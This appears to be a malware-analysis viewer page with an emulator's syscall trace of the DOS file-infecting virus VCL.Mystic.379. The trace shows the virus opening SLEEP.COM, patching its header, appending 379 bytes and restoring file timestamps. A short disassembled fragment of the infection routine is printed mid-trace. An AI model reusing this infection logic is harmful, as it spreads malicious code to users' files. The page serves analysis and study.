Sample viewer

vx.netlux.org/Virus.DOS.VCL.Mystic.379

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:43:55.827582881Z 26 PC: 12a73 | Set disk transfer address
2018-12-17T22:43:55.829864835Z 71 PC: 12a7d | Get current directory
2018-12-17T22:43:55.832639558Z 78 PC: 12a98 | Find first file
2018-12-17T22:43:55.838520164Z 67 PC: 12ab5 | Get or set file attributes
2018-12-17T22:43:55.859423702Z 61 PC: 12aba | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:43:55.876902973Z 63 PC: 12ac6 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:43:55.883430563Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:43:55.88499633Z 64 PC: 12b1e | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:43:55.888651595Z 66 PC: 12b27 | Move file pointer
2018-12-17T22:43:55.890452038Z 44 PC: 12b2b | Get time 0x12b2b: mov word ptr [bp + 0x276], dx
0x12b2f: mov ax, cs
0x12b31: add ax, 0x100
0x12b34: mov es, ax
0x12b36: mov cx, 0xbe
0x12b39: lea si, word ptr [bp + 0x103]
0x12b3d: xor di, di
0x12b3f: rep movsd dword ptr es:[di], dword ptr [si]
0x12b41: inc word ptr es:[0xb4]
0x12b46: push bx
0x12b47: mov bx, 0xf
0x12b4a: push es
0x12b4b: pop ds
0x12b4c: call 0x12bb1
0x12b4f: pop bx
0x12b50: xor dx, dx
0x12b52: mov cx, 0x17b
0x12b55: mov ah, 0x40
0x12b57: int 0x21
0x12b59: mov ax, 0x5701
2018-12-17T22:43:55.893037696Z 64 PC: 12b59 | Write file or device (Write 379 bytes on handle 5)
2018-12-17T22:43:55.902075421Z 87 PC: 12b66 | Get or set file date and time
2018-12-17T22:43:55.903550501Z 62 PC: 12b6a | Close file
2018-12-17T22:43:55.910949448Z 67 PC: 12b7d | Get or set file attributes
2018-12-17T22:43:55.921158161Z 59 PC: 12a8d | Change current directory
2018-12-17T22:43:55.925325023Z 26 PC: 12b87 | Set disk transfer address
2018-12-17T22:43:55.926482741Z 59 PC: 12b8f | Change current directory